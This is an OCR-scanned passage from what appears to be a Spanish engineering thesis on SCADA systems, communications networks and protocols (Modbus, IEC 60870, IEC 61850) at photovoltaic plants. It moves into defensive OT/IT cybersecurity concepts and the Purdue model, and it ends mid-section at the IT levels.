Ademas, se pueden utilizar redes inalambricas Wi-Fi, redes locales Ethernet junto con otros
protocolos de control, que describiremos mas adelante, para que el sistema SCADA en planta

pueda realizar las siguientes funciones basicas:

v" Control automatico de los elementos del sistema, siguiendo un procedimiento
determinado.

v Deteccion de anomalias de los pardmetros preestablecidos para un funcionamiento
normal del sistema.

v Actuar sobre el sistema para llevarlo a sus condiciones normales de
funcionamiento, en caso de detectar desviaciones. Esto permite minimizar pérdidas
de produccion, al detectar rapidamente el posible problema que pueda existir en un
elemento de la planta.

v" Presentar los datos de funcionamiento del sistema al usuario u operario de
mantenimiento. Esto proporciona la informacion méas importante de todos los
parametros de la planta, con lecturas detalladas que se muestran en tiempo real.

v Almacenado de estadisticas y de datos historicos de funcionamiento de la planta.
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2.2 SCADA

Las siglas SCADA significan Control de Supervision y Adquisicion de Datos. El sistema
SCADA es un tipo de Sistema de Control Industrial (ICS), es decir, un sistema controlado
por un ordenador que se encarga de gestionar y supervisar los procesos industriales que
existen en el mundo fisico. Mientras que los ICS suelen estar limitados a distancias cortas y
a lugares concretos, SCADA puede llevar procesos a gran escala que implican multiples
localizaciones y largas distancias.

Los sistemas SCADA evolucionaron desde la industria (fabricacion, refinado, etc....) a otras
instalaciones, como infraestructuras de energia (parques eolicos, oleoductos, gasoductos,
transmision de energia eléctrica) e incluso a edificios, aeropuertos y barcos, controlando los

sistemas de calefaccion, ventilacion, aire acondicionado, consumos energéticos, etc.

En un proceso industrial distribuido geograficamente, como es la generacion de energia
fotovoltaica, un sistema centralizado de control remoto y gestion del rendimiento en tiempo
real es fundamental para mejorar la rentabilidad de los activos y la calidad de las operaciones.
Los sistemas SCADA son cada vez mas importantes en el sector fotovoltaico, ya que

permiten a las empresas ahorrar costes de personal y de explotacion

Existen varios tipos de sistemas SCADA, dependiendo del tipo de fabricante y la finalidad
con la que se va a hacer uso del sistema. La seleccion correcta del software SCADA es de
suma importancia tanto para el adecuado manejo de los flujos de datos entrantes como para
el posterior andlisis de estos. La representacion grafica e intuitiva en forma de gréaficos, tablas
y diagramas de todos esos flujos de datos (primarios y derivados) permite una facil

observacién y control del sistema.
Los sistemas SCADA estan formados por los siguientes componentes:

1. Hardware de las estaciones externas: son los componentes como transformadores

de corriente, transformadores de tension, valvulas de combustible, el estado de carga
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2.3

(SOC), transportadores y disyuntores que pueden ser controlados localmente o de
forma remota.

Procesadores de las subestaciones locales: recogen los datos de los instrumentos
y equipos de hardware. Esto incluye la unidad terminal remota (RTU), el controlador
I6gico programable (PLC) y los dispositivos electronicos inteligentes (IED), como
relés y contadores digitales. El procesador local sera responsable de docenas de
entradas y salidas tanto analdgicas como digitales de los IED y de los equipos de
conmutacion.

Instrumentos digitales: suelen instalarse en el campo o en una instalacion que
detecta condiciones como la corriente, el voltaje, la irradiacion, la temperatura, la
presion o la velocidad del viento.

Dispositivos de comunicacion: pueden ser comunicaciones de corto alcance o de
largo alcance. Las comunicaciones de corto alcance se instalan entre las RTUSs,
instrumentos y equipos de operacion. Se trata de una distancia relativamente corta o
conexiones inalambricas que transportan sefiales digitales y analégicas utilizando
sefiales eléctricas, como la tension y la corriente, o utilizando otros protocolos de
comunicaciones industriales. Las comunicaciones de largo alcance se instalan entre
los procesadores locales RTU/PLC. Esta comunicacion suele utilizar métodos como
lineas telefonicas alquiladas, microondas, satélite, redes de datos celulares.
Ordenadores/servidores: serian tanto los ordenadores centrales, como el servidor
de adquisicion de datos DAC que actiia como punto central de supervision y control.
Estaran en la sala de control o estacion maestra. La estacion de trabajo de operacion
es donde un ingeniero u operador puede supervisar el proceso, asi como recibir

alarmas del sistema, revisar los datos y ejercer el control remoto.

INFRAESTRUCTURA DE COMUNICACIONES

En una planta fotovoltaica, la infraestructura de la red de comunicaciones se implementa con

diferentes tecnologias muy diferentes entre si. Por un lado, a nivel fisico (cables de pares,

fibras oOpticas, WiFi, GPRS/3G/4G), pero también a nivel de los protocolos de
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comunicaciones que se utilizan para llevar y recibir la informacion de control desde los
diferentes dispositivos inteligentes hacia los SCADAs locales y remotos (Modbus,
Modbus/TCP, IEC61850, IEC60870-104).

Para el troncal de comunicaciones se utilizan fibras Opticas, que permite alcanzar mayores
distancias que el resto de las soluciones basadas en pares de cobre o la propia WiFi. La
topologia fisica utilizada es de anillo, ya que ofrece alta disponibilidad y fiabilidad, sobre

todo cuando se utiliza una estructura de doble anillo aumentando la resiliencia de la red.

El acceso remoto se realiza mediante una VPN (Virtual Private Network) y otros elementos
de seguridad como firewalls, sistemas de deteccion de intrusos, diodos de datos, asi como
equipos especializados que ofrecen mejoras en la ciberseguridad de la instalacion.

En la siguiente figura puede verse un esquema parcial y simplificado de la red de
comunicaciones que se suele utilizar. En ella se diferencian claramente los sistemas de
generacion de energia de los sistemas de control y gestion que utiliza la red de
comunicaciones para el envio de mensajes de informacién, control, alarmas, fallos,

recuperacion, etc.
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Figura 13: Esquema de la red de comunicaciones

La electronica de la red de comunicaciones esta basada en conmutadores LAN, con soporte

para conexiones de enlaces de fibra y de conexiones Ethernet, que son los enlaces que se

utilizan en las redes ofimaticas de las empresas y en nuestra propia casa. Estos equipos son

gestionables, es decir tienen capacidades de control remoto para su configuracion, operacion

y mantenimiento. Ademas, esto permite la obtencién de informacién del trafico que circula

por la red, control de errores y recuperacion de fallos, y el uso de herramientas ampliamente

utilizadas para la gestion de redes de comunicaciones, etc.

El equipamiento utilizado es de tipo industrial, con equipos mas robustos y especificaciones

mas exigentes en cu

anto a su temperatura de funcionamiento, aislamiento eléctrico y

medioambiental, etc. Pero desde el punto de vista de su operativa, son analogos a los que se
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utilizan en las instalaciones clasicas de edificios de oficinas, campus, etc. Debido a la
diversidad y elevado numero de dispositivos que precisa una planta solar fotovoltaica, nos
encontraremos con elementos inteligentes que tienen muy baja capacidad de proceso y
necesiten enviar un bajo trafico de datos, como por ejemplo los captadores solares, sensores
de temperatura, estaciones meteoroldgicas, etc. En el caso de las estaciones de potencia,
formadas por uno o varios inversores y un transformador de baja/media tension, tendremos
mayor necesidad de proceso informatico y de envio/recepcién de informacion y control. La
razén de esto es muy simple, su monitorizacion detallada permite identificar y actuar de
forma rapida sobre las incidencias que puedan surgir en los equipos de potencia, permitiendo
mejorar el rendimiento y alargar la vida util de la planta fotovoltaica.

Cada planta solar es distinta, pero a efectos practicos de monitorizacion y control se pueden
cuantificar tres zonas distintas en la arquitectura de la red de comunicaciones, con distintas
necesidades y por lo tanto precisan diferentes soluciones. Estas zonas son: la zona de
generacion fotovoltaica, zona de estaciones de potencia y zona de control y subestacion de

planta.

En la figura 14 se ven claramente estas tres zonas de la red en una planta solar fotovoltaica
y los medios de acceso a la red de comunicaciones que normalmente se suelen utilizar (RS-
485, WiFi, Ethernet y fibra dptica).
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Zona Fotovoltaica Zona de Potencia Zona de Control

RS-485 Wireless Ethernet Anillo Fibra Optica

Figura 14: Zonas de monitorizacién (www.circutor.com)

2.3.1 COMUNICACIONES EN LA ZONA DE GENERACION FOTOVOLTAICA

En esta zona se encuentran multiples equipos de control que envian informacion relevante
de la instalacion fotovoltaica. Estos dispositivos se interconectan mediante enlaces serie tipo
RS-485 de corto alcance y baja velocidad. Estos enlaces se concentraran en hubs y se
canalizan hacia el armario de comunicaciones situado en la estacién de potencia, donde se
adaptaran a conexiones del tipo Ethernet mediante dispositivos como Gateway o adaptadores

29



UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

TR T ARQUITECTURA Y ELEMENTOS DE UNA PLANTA SOLAR FOTOVOLTAICA

especificos. Existen diferentes alternativas, en funcion del producto y fabricante que estemos
utilizando. El protocolo de comunicaciones utilizado y que describiremos mas adelante es el
Modbus o el Modbus/TCP.

En la figura siguiente se ven las comunicaciones serie tipo RS-485, y ademas, en este caso
el fabricante también ofrece la posibilidad de utilizar conexiones inaldmbricas WiFi entre
las cajas de nivel (string box) y la estacion de potencia.

Wireless
Unit

>
L]
“18)

Wireless RS-485
Unit

Figura 15: Esquema de la zona de generacidn fotovoltaica (www.circutor.com)
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2.3.2 COMUNICACIONES EN LA ZONA DE LAS ESTACIONES DE POTENCIA

Esta zona en un area critica a nivel comunicaciones, ya que ademas de concentrarse aqui
todos los datos que provienen de los elementos de control de la zona fotovoltaica, se afiaden
los datos de monitorizacion y gestion de los inversores que son criticos en la generacion de
energia. También es necesario medir, monitorizar y controlar los elementos de proteccion
del transformador, las protecciones de la red de media tension y las entradas de CC de los

“strings” agregados por las diferentes cajas de nivel de CC.

Toda esta informacion se transmite a través de la red de fibra Optica al centro de control,
donde estan instalados los diferentes servidores SCADA y los terminales de control de los

operadores de estos sistemas.

El anillo de fibra troncal puede estar formado por varios anillos fisicos, con objeto de llevar
separados por cada anillo los distintos traficos de informacién y control. También puede ser
un unico anillo fisico de fibra, en este caso la separacién de traficos se realiza mediante
técnicas de VLANSs (Virtual LANS). Para ello es necesario definir las diferentes VLANS en
los conmutadores LAN. Existen diferentes alternativas para implementar las VLANS, la mas
sencilla consiste en definir, en cada puerto fisico del conmutador, la VLAN a la que va a
pertenecer dicho puerto. Cabe indicar, que desde el punto de vista de la ciberseguridad se
considera mas seguro una separacion fisica de las redes, es decir varios anillos, que la
separacion légica por VLANS, ya que en este ultimo caso todo el trafico de datos va por la

misma fibra.

La Figura 16 ilustra los elementos y necesidades de medidas y monitorizacion en esta zona.
Generalmente el acceso de todos los equipos se realiza mediante conexiones Ethernet, que a
su vez se canalizan a los conmutadores Opticos que se encuentran en el armario de

comunicaciones, donde se realiza la interconexion al anillo o anillos de fibra troncal.
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Celda Proteccion MT

Transformador BT/MT
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Relé de proteccion

Inversores

Medida temperatura
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Armario Medida y Entrada Strings
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entrada DC del inversor Medida

salida AC del inversor

Medida de las entradas
de corriente (Strings)

Anillo Fibra Optica

Figura 16: Esquema de la zona de potencia (www.circutor.com)

2.3.3 COMUNICACIONES EN LA ZONA DE CONTROL Y SUBESTACION DE PLANTA

En esta ultima zona, todo el tréfico de datos del resto de zonas se recibe en el centro de
control, para ser analizado y en su caso almacenado en los servidores SCADA locales. El
operador de cada SCADA podréa enviar 6rdenes y comandos de actuacion a los dispositivos
que sea necesario. Ademas, en el centro de control se encuentra el router con la VPN de
salida hacia un sistema de supervision superior ubicado fuera de la planta, para la supervision

externa del sistema.

Desde el punto de vista de la ciberseguridad, este centro es el mas importante a proteger y
detectar posibles ataques, sobre todo a los terminales de los operadores, ya que, si un hacker

tomase el control de este, estaria en una posicion de producir graves dafios a la instalacion.
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Por ello, los dispositivos de ciberseguridad, tales como firewalls o sistemas de deteccion de
intrusos deben implementarse en esta zona y sobre todo tiene que existir una metodologia
adecuada que permita identificar y corregir los posibles fallos de ciberseguridad. Todos estos

aspectos se desarrollan méas adelante en el capitulo de ciberseguridad.

La subestacion de planta es el punto de interconexion con la compafiia eléctrica para la
distribucion de la energia generada. En este punto se suele instalar el Power Plant Controller
(PPC), que es la herramienta de control para la regulacion de la potencia de la planta. EI PPC
recibe los parametros desde el SCADA local e interacta con los inversores instalados en
planta para cumplir con las exigencias de la compafiia eléctrica, modulando la inyeccién de
energia a la red. EI PPC tiene como objetivo asegurar el buen funcionamiento de la
instalacion de generacion de energia eléctrica regulando parametros como tensiéon, control
de frecuencia, limitacion de produccion, limitacion de potencia o regulacion de potencia

reactiva.

En la figura 17 se ve el centro de control con los puestos de operacién de los SCADAs y la
subestacion de elevacion de media/alta tensién con el PPC, todos ellos interconectados al

troncal de fibra.
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Control Center

Anillo Fibra Optica

Subestacion Planta

Figura 17: Esquema de la zona de control y subestacion de planta (www.circuitor.com)

2.4 PROTOCOLOS DE COMUNICACION

2.4.1 INTRODUCCION A LA ARQUITECTURA DE COMUNICACIONES

ESTRATIFICADA EN NIVELES

Actualmente las comunicaciones de datos utilizan como modelo de referencia la arquitectura
que se definid para Internet, practicamente el 100% de los equipos informaticos vienen
preparados para poder conectarse a redes IP. Esta arquitectura tiene cuatro niveles, que se
describiran mas adelante.

La utilizacion de un modelo de arquitectura en niveles jerarquicos permite agrupar funciones

relacionadas e implementar el hardware y software modularmente, lo que presenta grandes
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ventajas en el desarrollo y evolucién de estas tecnologias de comunicaciones, a parte de su

mejor comprension por parte de todas las personas que trabajan en este campo.

En la siguiente figura se aprecian los distintos niveles y como se implementan, ya sea

mediante un programa software o un determinado hardware.

v

v

Nivel de Aplicacion: Son los procesos de usuario final, sirve como soporte,
a nivel de comunicaciones, de las aplicaciones disefiadas para Internet

Nivel TCP (Transmission Control Protocol): Ofrece la conectividad
extremo a extremo a través de la red TCP/IP

Nivel IP (Internet Protocol): Comunica los ordenadores a través de las
diferentes redes, interconectadas mediante routers IP, que forman la Internet
Interface de Red: Corresponde al servicio de acceso a la red (local LAN o
remota WAN)

Aplicaciones

TCP

SOFTWARE

1P

Interface de
RED

MEMORIA

TARJETA DE RED > .
_ LAN/WAN b \\
>l @ CONECTORES “
COBRE ARE
o e

Figura 18: Arquitectura de comunicaciones (www.lmdata.es)

Por altimo, estan los diferentes medios fisicos que podemos utilizar para transmitir los bits

o fotones de informacion (pares de cobre, fibra ptica, medios inalambricos como Wifi, LTE,

etc.), y que no forma parte de la arquitectura.
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Los protocolos de comunicaciones son los intercambios entre niveles iguales de distintos
sistemas interconectados mediante el TCP/IP. Por ejemplo, un protocolo a nivel de
aplicacion permite que un ordenador local intercambie datos de forma fiable con otro equipo
situado en cualquier parte de una red TCP/IP. Para conseguir esto, la aplicacién construye
un mensaje de informacidn, con una determinada estructura de datos que entendera el equipo
remoto, y lo pasa al nivel inferior (TCP) a través de un punto de intercambio. Estos puntos

de intercambio corresponden a lo que en programacion se denominan sockets.

Cabe destacar que es muy importante, en el ambito de la ciberseguridad, conocer como opera
la arquitectura de comunicaciones TCP/IP, ya que todos los ataques (robos de informacién,
virus, troyanos, denegaciones de servicio, etc.) utilizan estos protocolos para propagarse,
infectarse y comunicarse con el hacker, incluso aunque el atacante este fisicamente en la
misma instalacion o cuando un troyano se halla instalado via memoria USB. Las
comunicaciones son imprescindibles para que el ataque se produzca y por lo tanto es vital

tener en cuenta este tema.

2.4.2 PROTOCOLOS DE COMUNICACIONES UTILIZADOS EN UNA PLANTA SOLAR

FOTOVOLTAICA

Segun se vio en anteriormente en el apartado “Infraestructura de Comunicaciones”, los
protocolos de comunicacién usados en este tipo de instalaciones se basan en estandares
internacionales definidos por el IEC (International Electrotechnical Commission) y el
protocolo Modbus y su adaptacion a redes TCP/IP denominado Modbus/TCP.

2.4.2.1 ModBus y ModBus/TCP:

Modbus es un protocolo industrial abierto utilizado para transmitir informacion entre
dispositivos electronicos conectados a un mismo bus. Es decir, Modbus es un protocolo

ampliamente aceptado, de dominio publico, que requiere una licencia, pero es gratis. Asi
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pues, es un sistema de comunicacion muy popular en entornos industriales y se usa
generalmente para transmitir sefiales de los dispositivos de instrumentacion y control a un
controlador principal o a un sistema de recoleccion de datos, es decir al PLC. Este protocolo

es esencial para la comunicacion con los inversores y los seguidores solares.

Hay distintos tipos de protocolos Modbus, pero los mas interesantes en las comunicaciones
de una planta fotovoltaica son el Modbus RTU y el Modbus TCP/IP

En el Modbus RTU se produce la comunicacién entre dos dispositivos. El dispositivo que
solicita la informacion seria el maestro y el que la envia el esclavo. Cada dispositivo tiene
un ID para poder referirse a él. EI maestro puede hacer frente a esclavos individuales, o
puede iniciar un mensaje a todos los esclavos. Los esclavos devuelven una respuesta a todas
las consultas dirigidas a ellos de forma individual, estos no pueden iniciar los mensajes por
su cuenta, solo responden a las preguntas del maestro. En nuestro caso el PLC podria ser el

maestro y los inversores conectados a €él los esclavos.

Este protocolo necesita conexiones fisicas directas, clasicamente 3 opciones distintas.
RS232, permite la comunicacion punto a punto entre el maestro y el esclavo a una distancia
de unos 15 metros. Por otro lado, el RS485 0 el RS422 permiten la conexidn entre un maestro
y varios esclavos que se conectan en serie entre si hasta un maximo de 247 esclavos cada

uno con distinta ID.

El Modbus TCP/IP es simplemente el protocolo Modbus RTU con una interfaz TCP que se
ejecuta en Ethernet. Es decir, las bases sobre las que se da la interpretacion de los datos son
las mismas. En este protocolo se pierde la arquitectura maestro/esclavo que seria sustituida
por la comunicacion cliente/servidor del protocolo TCP/IP. Cada dispositivo de la red tiene
una direccion IP que sirve para su identificacion. El cliente esta conectado a un switch al que
a su vez se conectan uno o varios servidores. La funcién principal de TCP es asegurar que
todos los paquetes de datos se reciben correctamente, sin errores, mientras que el IP permite

de que los mensajes llegan a su destino.
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Cabe destacar que el Modbus TCP/IP utiliza la puerta 502, es importante saber que esta

puerta no puede estar cerrada por un firewall para que la comunicacion funcione.

2.4.2.2 Estandares IEC

Los protocolos IEC que nos podemos encontrar en una planta de generacion de energia solar

fotovoltaica son los siguientes:

Estandares del IEC (Comision Internacional de Electronica)

v" Normativa IEC 60870-5-101
v Normativa IEC 60870-5-104
v" Normativa IEC 61850

Normativa IEC 60870-5-101: Es la mas antigua, se utiliza para las operaciones bésicas de
telecontrol. Su arquitectura de comunicaciones tiene tres niveles y permite las
comunicaciones locales con las RTUs. Este protocolo precisa de una Red determinista, es
decir, conexiones fisicas directas (RS232, 485, Fibra).

Normativa IEC 60870-5-104:

Con el uso masivo de las comunicaciones basadas en el TCP/IP y para permitir el acceso a
través de redes TCP/IP para el protocolo IEC 60870-5-101, el IEC desarrollo el estandar
60870-5-104. Es decir, el nivel fisico del 60870-5-101 se elimina y se pasa totalmente el
TCP/IP.

Normativa IEC 61850

Este protocolo se utiliza para la automatizacién de subestaciones, permitiendo monitorizar y
controlar los distintos sistemas de proteccion, medida y control. Desarrollado para sistemas
de potencia eléctrica, permite extender los nuevos modelos de informacion a otros entornos
(gas, agua). Proporciona un lenguaje de descripcion de configuracion (SCL) Utiliza Ethernet
y TCP/IP.

En resumen, los protocolos IEC60870-101 se utilizan para comunicaciones locales con
medios fisicos serie tipo RS-485 y el IEC60870-104 para las remotas desde el SCADA del
operador eléctrico sobre comunicaciones TCP/IP. El estdndar IEC61850, mas moderno,

define los protocolos de comunicacion para dispositivos electronicos inteligentes en
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subestaciones eléctricas, que permite la interoperabilidad de equipos de multiples
proveedores.
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Capitulo 3. CRITERIOS DE CIBERSEGURIDAD

3.1 INTRODUCCION

Existen muchas definiciones de lo que significa y representa la palabra ciberseguridad. Por
ejemplo, ISACA (Information Systems Audit and Control Association) define
Ciberseguridad como la “Proteccion de todos los activos de informacion, a través del
tratamiento de amenazas que ponen en riesgo la informacion que es procesada, almacenada

y transportada por los sistemas de informacion que se encuentran interconectados”.

Si consultamos en la RAE (Real Academia Espafiola), vemos que ciberseguridad no aparece
como palabra, pero si el prefijo ciber y la palabra seguridad. Ciber “indica relacion con redes
informaticas” y seguridad se define como “cualidad de seguro”, es decir hacer seguro todo

lo que tenga relacion con las redes informaticas.

Las empresas del sector eléctrico se enfrentan a un riesgo creciente de ver interrumpidos sus
servicios 0 de perder datos a causa de ciberataques. La amenaza para las empresas
energéticas en los proximos afios esta aumentando a medida que los nuevos desarrollos en
las extensiones de las redes y la medicion inteligente exponen mas infraestructuras a Internet.
De cualquier manera, hay que tener en cuenta que los equipos que no esta conectados a
Internet tampoco son inmunes a las amenazas. De hecho, ya se han producido varios ataques
con exito contra sistemas aislados. Los operadores de infraestructuras criticas, asi como las
empresas de servicios energéticos, deben ser conscientes de estas amenazas y prepararse en

consecuencia.

Las amenazas para las empresas energéticas pueden proceder de varios frentes. En algunos
casos, el espionaje de los competidores es el motivo principal, se buscan datos sobre nuevos
proyectos, exploracion y finanzas. Otros ataques tienen como objetivo la interrupcion y la
destruccion. Algunos casos parecen estar patrocinados por el Estado, como la interrupcion

del programa nuclear irani por el virus Stuxnet en 2010 supuestamente creado por los
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servicios de inteligencia de Estados Unidos e Israel. Otros ataques parecen ser obra de
hacktivistas con agendas politicas o medioambientales. Por Gltimo, existen también los
atacantes internos, como los empleados descontentos, una fuente importante de ataques que

a menudo conducen a la interrupcion del servicio.

3.2 OT (OPERATIONAL TECHNOLOGY) VS IT (INFORMATION
TECHNOLOGY)

En el entorno de la ciberseguridad de una planta solar es muy importante comprender las
diferencias que existen entre los Sistemas de Control Industrial (OT) y las Tecnologias de
Informacion (IT).

Como se ha comentado previamente, muchas de las tecnologias de Informacién y de
Comunicaciones (TICs) gue se han desarrollado en las Gltimas décadas para IT, se estan

aplicando en entornos de control industrial.

El termino IT se refiere a la tecnologia que se centra en el procesamiento de datos e
informacién. Las Tecnologias de Informacion han evolucionado a lo largo del tiempo para
manipular, almacenar, comunicar y proteger los datos de diferentes formas. Con el objetivo
de llevar a cabo las operaciones comerciales habituales (uso de bases de datos, aplicaciones
ofimaticas, corporativas, email, servidores web, etc.). Todo ello mediante el uso de redes

locales, redes TCP/IP privadas o mediante comunicaciones a través de Internet.

Sin embargo, los sistemas de control industrial (ICS) incluyen, ademas de ordenadores y
aplicaciones de control y gestion muy especificas, PLCs, sondas, controladores, robots, DPC
(Discrete Process Control Systems), etc. En todos estos entornos industriales se tienen unos
requerimientos y necesidades muy diferentes a los de los equipos informaticos, aplicaciones
y de comunicaciones IT. Por ello, en los sistemas de control industrial, nos referimos a la

tecnologia de las operaciones OT (Operational Technology).
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La OT podemos definirla como el conjunto de hardware y software que detecta o provoca
un cambio en procesos y sistemas industriales. Estos cambios se producen gracias a la

supervision local o remota de los equipos industriales.

TCP/IP

Ofimatica
email

Bases de Servidores

Datos
HTTPs | APPS

Streaming

oT IT

Figura 19: Comparativa entre OT e IT

En esta figura 19 se observa una comparativa entre elementos que forman parte del mundo
OT y del mundo IT.

Por otra parte, en la tabla siguiente se resumen los requerimientos en ambientes OT e IT en

cuanto a disponibilidad, necesidad de trafico en tiempo real, vida media de los equipos, etc.

Requerimientos oT IT

Disponibilidad Muy alta Alta

Vida media equipos >20 aios 5 afos

Trafico en Tiempo real Muy alto Retardos tolerables
Auditorias de ciberseguridad Infrecuentes Programadas
Parcheo de vulnerabilidades Infrecuentes Muy Frecuentes

Tabla 2: Requerimientos OT vs IT
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En el pasado, los sistemas OT han estado aislados en su gran mayoria, ya que dependian
fundamentalmente de protocolos propietarios cerrados y de software, operado manualmente,
para llevar a cabo sus funciones esenciales. Este aislamiento y su falta de interconexién con
sistemas y comunicaciones IT los han protegido, evitando y disminuyendo la probabilidad
de sufrir ciberataques. Sin embargo, a medida que la OT est4 adoptando cada vez més
soluciones del mundo IT, ya que esto supone ventajas tanto técnicas y econémicas, se expone

a nuevas y peligrosas amenazas similares a las que se afrontan en entornos IT.

La aplicacion de herramientas y soluciones de seguridad orientadas a IT en las redes OT no
protege necesariamente de ataques especificos a estos sistemas. Utilizar herramientas de
seguridad IT en OT podria ser incluso tan peligroso como no tener seguridad, ya que pueden

proporcionan una falsa sensacion de seguridad.

Las redes, los equipos y los protocolos utilizados en OT son diferentes a sus homologos en
IT, por lo que requieren de una mentalidad distinta. Por ejemplo, un firewall en IT
normalmente inspecciona traficos muy intensos (streams de videos, descargas de ficheros,
etc.) donde los retardos o las variaciones de retardos no son criticos. En OT el tréfico es muy
ligero, pero un retardo en un comando de control critico puede hacer que una planta de
energia se desconecte de la red. Por eso se necesitan redes OT que soporten trafico en tiempo
real, o lo que es lo mismo, retardos y variaciones del retardo muy bajas (del orden de

milisegundos).

Los hechos nos dicen que a partir de la guerra en Ucrania han aumentado de manera muy
significativa, tanto en nimero como en diversidad, los ciberataques a infraestructuras criticas
y organismos gubernamentales. En un informe publicado por Microsoft el 27 de abril de

2022 se resume muy bien este crecimiento de amenazas, vulnerabilidades y ciberataques [1].

3.3 SOLUCIONES APLICADAS EN EL ENTORNO IT

Si resumimos, muy esquematicamente, las soluciones aplicadas cominmente en ambientes

IT estan basadas en:
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1. Proteccion perimetral: mediante sistemas de firewalls, proxies, detectores de
intrusos, gestion de los logs y alarmas que producen estos equipos.

2. Control de acceso: redes Privadas Virtuales (VPNSs), utilizacion de sistemas de
autenticacion de usuarios y equipos mediante certificados digitales, control de
passwords, uso de maltiple factor de autenticacion y otros sistemas criptogréaficos.

3. Segmentacion de redes: evitando que el tréfico de un grupo de usuarios y equipos
se mezcle con otros. En la practica esto se utiliza de forma intensiva en las redes de
area local (LANS) mediante la técnica denominada VLANs (Redes Locales
Virtuales). También es muy comdn separar distintas redes IP mediante routers con
reglas de filtrados, lo que permite diferenciar tréficos, por ejemplo, la voz sobre IP
de los datos.

4. Gestion de vulnerabilidades y parcheo de las mismas: esta medida se utiliza en
grandes organizaciones que disponen de herramientas automaticas. También es
posible usar servicios en la nube de empresas que ofrecen este tipo de soluciones. En
empresas mas pequefias este punto suele realizarse manualmente o en el peor de los
casos no se hace.

5. Proteccion de los equipos de usuario final: los usuarios finales son el eslabon mas
débil de la cadena de seguridad. La posibilidad de que, por desconocimiento, falta de
atencion o malas practica se produzca un error de ciberseguridad es muy alto.
Un usuario que esté operando un PC interconectado a la LAN empresarial, 0 acceda
desde su casa a través de una VPN, puede favorecer la entrada de malware en otros
equipos de la red interna. Por ello, normalmente se habilitan en los equipos de los
usuarios limitaciones, politicas de seguridad, antivirus, antimalware, etc. Entre estas
limitaciones destaca el uso de Wifi cifrada, la imposicion de utilizar VPNs desde
accesos publicos, negar al usuario la posibilidad de instalar aplicaciones, deshabilitar

los puertos USB para que no se puedan conectar dispositivos de memoria, etc.

Desde el punto de vista de la proteccion de las redes y comunicaciones en IT, existe una guia
de la NSA (National Security Agency), publicada en marzo de 2022 que ofrece un monton

de consejos y soluciones para mejorar la ciberseguridad en las infraestructuras IT de red. [2]
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3.4 SOLUCIONES APLICADAS EN EL ENTORNO OT

Para hacer un resumen equivalente en ambientes OT, en nuestro caso una planta de
generacion de energia solar fotovoltaica, lo primero que tenemos que saber es qué
dispositivos son los que pueden ser objetivo de un ataque de ciberseguridad y su grado de

criticidad.

Para ayudarnos en toda esta labor, existe un modelo de ciberseguridad desarrollado por la
universidad de Purdue, asi como las posteriores modificaciones y mejoras del mismo. Este
modelo se basa en la clasificacion de los diferentes elementos que conforman un entorno
OT, posicionandolos en diferentes niveles de ciberseguridad. También incluye su

integracion con IT (convergencia de OT con IT).

3.4.1 MODELO DE PURDUE: ENTERPRISE REFERENCE ARCHITECTURE
(PERA)

El modelo de Purdue, denominado PERA (Purdue Enterprise Reference Architecture), es un
modelo de referencia estructural para la seguridad de los sistemas de control industrial (ICS).
Incluye todo lo relativo a los procesos fisicos, los sensores, los controles, la supervision, las

operaciones y la logistica.

Fue desarrollado a primeros de los noventa para un entorno de fabricacion integrada por
ordenador. Ha servido de base para el desarrollo de varios estandares posteriores de
seguridad, por ejemplo, el estdndar de ciberseguridad ANSI/ISA-95/99 (International
Society of Automation) y la normativa IEC 62443. En la actualidad sigue utilizandose de
forma extensiva para el desarrollo de metodologias y herramientas de ciberseguridad, con

nuevos aportes y modificaciones como por ejemplo la inclusion de la loT.

Este modelo defini6 inicialmente los diferentes niveles de infraestructura critica utilizados
en las lineas de produccion. De esta manera podemos focalizar en como asegurar cada nivel
de manera individual. En el fondo lo que el modelo define, es una segmentacion de redes y

sistemas, en funcidn de los diferentes tipos de dispositivos que se emplean en ICS. Al dividir
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la red en varias redes l6gicas y sobre todo restringir el acceso entre ellas, limitamos la
superficie de ataque a los dispositivos més criticos.

Una arquitectura en la que todos los equipos se conecten a una red “plana” seria muy dificil,
por no decir imposible, de asegurar, compleja de actualizar y ademéas causaria muchos
problemas de ciberseguridad a la hora de interconectarla con equipos y redes IT. En cambio,
una arquitectura estratificada en capas, con zonas de seguridad bien definidas y niveles
gestionados es fundamental para construir un buena la defensa en profundidad. También es
importante para que la planta se pueda actualizar o sustituir cualquiera de sus sistemas en el
futuro. Y es esencial para la colaboracién, sin fricciones, entre los grupos de IT y OT,
definiendo muy claramente los entornos de operacion de cada uno, sin solapamiento de

competencias.
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Figura 20: Arquitectura Plana vs Modelo Purdue (www.linkedin.com)

En esta figura se observan las diferencias entre una arquitectura plana y otra que sigue el
modelo Purdue. La figura corresponde a una planta industrial no a una solar, pero lo
importante es comprender las diferencias estructurales de forma general, para luego aplicar

este modelo a cada instalacion en particular.

Vamos a hacer un resumen del modelo clasico de Purdue, viendo los diferentes niveles

definidos en el mismo. Para ello usaremos como referencia la figura 21, sacada de un
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documento de ciberseguridad en OT del fabricante cisco, donde se observan muy claramente

cada nivel y sus funciones.

: Enterprise Network
Enterprise
Zone
Site Business Planning and Logistics Network
Mam;f::iunng Site Manugacturing Operations and Control
Area Supervisory Control [Level 2]
Cell'Area Basic Control
Zone
Process Level 0
Safety o
Tors Safety-Critical

Figura 21: Arquitectura clasica del modelo de Purdue (www.cisco.com)

El modelo PERA define los siguientes niveles:
Niveles OT:

Nivel O - Proceso fisico: Define los procesos fisicos reales. Estos varian en funcién del
tipo de planta industrial. En este nivel encontramos tantos sensores cOmo actuadores.

Nivel 1 - Dispositivos inteligentes: La deteccion y manipulacion de los procesos fisicos
se produce en este nivel, con sensores, analizadores, actuadores e instrumentacién
relacionada. Para impulsar la eficiencia, los sensores se comunican cada vez mas
directamente con el software de supervision de su proveedor en la nube a través de
redes celulares.

Nivel 2 - Sistemas de control: Se basa en el software de control y SCADA. Como ya
sabemos, SCADA puede gestionar sistemas de manera remota, mientras que el
sistema de control distribuido (DCS) y los controladores l6gicos programables (PLC)
suelen desplegarse dentro de la planta.
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Nivel 3 - Sistemas de operaciones industriales: Aqui es donde se gestiona el flujo de
trabajo de produccion en la planta industrial. Se utilizan sistemas personalizados
basados en sistemas operativos tipo Windows, para realizar la gestion, registrar datos
y gestionar las operaciones y el rendimiento de la planta. Este nivel también consta
de bases de datos o historiales para registrar los datos de las operaciones.

Niveles IT:

